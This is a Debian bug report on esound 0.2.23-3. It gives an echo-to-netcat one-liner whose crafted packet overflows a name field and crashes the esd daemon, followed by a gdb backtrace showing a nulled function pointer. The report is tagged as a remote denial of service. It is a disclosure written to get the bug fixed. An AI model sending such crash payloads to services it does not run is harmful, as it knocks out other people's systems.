Package: esound
Version: 0.2.23-3
Severity: minor
Tags: security
Steps to reproduce:
1. Start esd with "esd -public -nobeeps -tcp".
2. Run echo -en
'keykeykeykeykeykNDNE\3\0\0\0\0\0\0\0D\254\0\0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABB'
| netcat localhost 16001
Expected results:
1. esd should ignore the invalid request and not crash.
Actual results:
1. esd segfaults.
Backtrace:
$ esd -public -nobeeps -tcp
unsupported playback rate: 44100
Audio device open for 44.1Khz, stereo, 16bit failed
Trying 44.1Khz, 8bit stereo.
unsupported sound format: 32
Audio device open for 44.1Khz, stereo, 8bit failed
Trying 48Khz, 16bit stereo.
Segmentation fault (core dumped)
phoenix$ gdb `which esd` -c core
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...Using host libthread_db library
"/lib/libthread_db.so.1".
Core was generated by `esd -public -nobeeps -tcp'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libwrap.so.0...done.
Loaded symbols for /lib/libwrap.so.0
Reading symbols from /usr/lib/libesd.so.0...done.
Loaded symbols for /usr/lib/libesd.so.0
Reading symbols from /usr/lib/libaudiofile.so.0...done.
Loaded symbols for /usr/lib/libaudiofile.so.0
Reading symbols from /lib/libm.so.6...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/libnsl.so.1...done.
Loaded symbols for /lib/libnsl.so.1
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x00000000 in ?? ()
(gdb) bt
#0 0x00000000 in ?? ()
#1 0x0804e1c5 in mix_players (output=0x8055ce8, length=4096) at ../mix.c:971
#2 0x0804c049 in esd_comm_loop (listen_socket=3, output_buffer=0x8055ce8,
esd_terminate=0) at ../clients.c:359
#3 0x0804b826 in main (argc=4, argv=0xbffffbb4) at ../esd.c:945
(gdb) frame 1
#1 0x0804e1c5 in mix_players (output=0x8055ce8, length=4096) at ../mix.c:971
971 actual = player->mix_func( player, min );
(gdb) print *player
$1 = {next = 0x0, parent = 0x8058cf8, format = 0, rate = 44100, left_vol_scale
= 256, right_vol_scale = 256, source_id = 5,
data_buffer = 0x80591f8 "BB", buffer_length = 1880, actual_length = 2,
last_pos = 0, name = 'A' <repeats 127 times>,
mix_func = 0, translate_func = 0}
(gdb)
I added tag security because somebody might see this as a remote denial of
service vulnerability.
-- System Information
Debian Release: 3.1
Architecture: i386
Linux phoenix 2.4.29met2 #1 SMP Fri Jan 21 08:46:57 UTC 2005 i686 GNU/Linux
Locale: LANG=C, LC_CTYPE=fi_FI
Versions of packages esound depends on:
ii libaudiofile0 0.2.6-6 Open-source version
of SGI's audiofile library
ii libc6 2.3.2.ds1-22 GNU C Library:
Shared libraries and Timezone data
ii libesd0 0.2.35-2 Enlightened Sound
Daemon - Shared libraries
ii libwrap0 7.6.dbs-8 Wietse Venema's TCP
wrappers library
ii esound-common 0.2.35-2 Enlightened Sound
Daemon - Common files
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
